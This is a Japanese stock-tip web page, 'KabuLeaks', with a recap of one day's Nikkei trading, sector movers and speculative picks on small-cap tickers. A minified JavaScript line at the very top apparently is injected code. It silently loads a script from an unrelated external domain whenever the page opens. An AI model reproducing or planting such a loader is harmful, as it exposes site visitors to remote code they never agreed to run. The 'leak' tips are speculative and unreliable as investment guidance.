;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/26 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【11/26 大引け】

本日の日経平均株価は96円高と反発。後場に日経平均株価は前場の地合いを引き継ぎ買い先行で始まり節目の2万円台へ急接近する場面があったものの、買い一巡後は再び利益確定売りに押され引けにかけ上げ幅を縮小する展開となった。業種別では、建設業、情報・通信業、その他金融業、輸送用機器が値上がり率上位に。一方、パルプ・紙、繊維製品、石油石炭製品、電気機器、鉱業が値下がり率上位となった。

個別では、ZMP上場への思惑が継続している【8462】フューチャーベンチャーキャピタル。免税思惑から【8256】プロルート丸光。総務省が「格安スマホ」に多彩なサービスを提供できるよう検討に入ったとの日経報道を受け【9424】日本通信などが後場急伸したほか、中小型の一角【3787】テクノマセマティカル、【6924】岩崎電気、【7519】五洋インテックス、【3665】エニグモなどが後場一段高に。一方、上場廃止への警戒感からか【9898】サハダイヤモンドが14時過ぎに急落、一時ストップ安の大幅下落となった。

日経平均は2万円まで後僅かならところまで迫るも大台回復ならず。ただ、年末へ向けへの期待は衰えておらず2万円台回復は時間の問題かと思う。目先、乗せてとしても短期的な過熱感などを意識され達成感も出る可能性もあるため、過熱感を冷ます意味での日柄調整。中小型株やテーマ株メインの物色がもうしばらく続くと予想する。